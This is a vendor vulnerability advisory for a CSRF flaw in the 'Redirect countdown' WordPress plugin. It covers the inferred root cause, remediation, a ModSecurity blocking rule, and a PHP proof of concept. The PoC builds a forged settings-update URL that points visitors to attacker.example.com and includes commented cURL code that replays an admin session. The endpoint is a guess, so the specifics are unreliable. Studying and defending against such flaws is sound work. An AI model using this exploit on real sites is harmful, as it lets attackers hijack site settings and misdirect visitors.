Atomic Edge analysis of CVE-2026-1390 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Redirect countdown WordPress plugin, version 1.0. The vulnerability allows unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on integrity.
Atomic Edge research identifies the root cause as a missing nonce validation check in the `countdown_settings_content()` function. This function likely handles the submission of the plugin’s settings form. The CWE-352 classification confirms the CSRF pattern. Without reviewing the source code, Atomic Edge infers that the function is hooked to a form submission handler, such as `admin_post_` or a custom AJAX endpoint, but lacks the `check_admin_referer()` or `wp_verify_nonce()` call required to validate the request’s origin.
Exploitation requires an attacker to craft a forged HTTP request that mimics a legitimate plugin settings update. The attacker must then induce a logged-in administrator to load this request, typically via a malicious link or page. Based on WordPress plugin conventions, the likely endpoint is `/wp-admin/admin-post.php?action=countdown_update_settings` or a similar admin-ajax handler. The payload would contain POST parameters like `timeout`, `redirect_url`, and `custom_text` with attacker-controlled values.
Remediation requires adding proper nonce validation to the settings update handler. The plugin developer must generate a nonce via `wp_nonce_field()` or `wp_create_nonce()` in the settings form. The server-side handler must then verify this nonce using `check_admin_referer()` or `wp_verify_nonce()` before processing any parameter changes. A capability check, such as `current_user_can(‘manage_options’)`, should also be present but is not the primary missing defense.
The impact of successful exploitation is unauthorized modification of the plugin’s configuration. An attacker can change the countdown timer duration, the redirect destination URL, and any custom display text. This could be used to redirect site visitors to malicious domains after a timer expires or to display misleading information. The attack does not grant direct access to the database or file system, and it does not compromise confidentiality or availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1390 (metadata-based)
# This rule blocks CSRF attempts against the Redirect countdown plugin's settings update.
# The rule targets the inferred admin-post.php endpoint and the specific action parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:1390001,phase:2,deny,status:403,chain,msg:'CVE-2026-1390: CSRF to Redirect countdown plugin settings update',severity:'CRITICAL',tag:'CVE-2026-1390',tag:'WordPress',tag:'Plugin',tag:'redirect-countdown',tag:'CSRF'"
SecRule ARGS_GET:action "@streq countdown_update_settings" "chain"
SecRule &ARGS_GET:timeout "@gt 0" "chain"
SecRule &ARGS_GET:redirect_url "@gt 0"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1390 - Redirect countdown <= 1.0 - Cross-Site Request Forgery to Settings Update
<?php
// Target WordPress site URL
$target_url = 'http://vulnerable-site.example.com';
// Assumed vulnerable endpoint. This is inferred from common WordPress admin patterns.
// The plugin likely uses admin-post.php or admin-ajax.php for form submission.
// The action parameter name is also inferred from the plugin slug and function name.
$endpoint = $target_url . '/wp-admin/admin-post.php';
$action_param = 'countdown_update_settings';
// Malicious settings to inject
$settings = [
'timeout' => '5', // Set countdown to 5 seconds
'redirect_url' => 'https://attacker.example.com', // Redirect to attacker site
'custom_text' => 'Hacked by Atomic Edge PoC', // Injected custom text
'action' => $action_param // The action hook trigger
];
// Build the malicious URL for a GET-based CSRF (simpler for demonstration).
// A real attack might use a POST form with auto-submit JavaScript.
$exploit_url = $endpoint . '?' . http_build_query($settings);
// Output the exploit link.
echo "Atomic Edge PoC for CVE-2026-1390n";
echo "====================================n";
echo "Target: $target_urln";
echo "Inferred Endpoint: $endpointn";
echo "nExploit URL (GET-based CSRF):n";
echo $exploit_url . "nn";
echo "Instructions: A logged-in administrator must visit this URL.n";
echo "The plugin settings will be updated without consent.n";
// Optional: Use cURL to simulate the attack if you have a test cookie (not included).
// $ch = curl_init($endpoint);
// curl_setopt($ch, CURLOPT_POST, true);
// curl_setopt($ch, CURLOPT_POSTFIELDS, $settings);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xyz=...'); // Admin session required
// $response = curl_exec($ch);
// curl_close($ch);
// echo "Response: $responsen";
?>
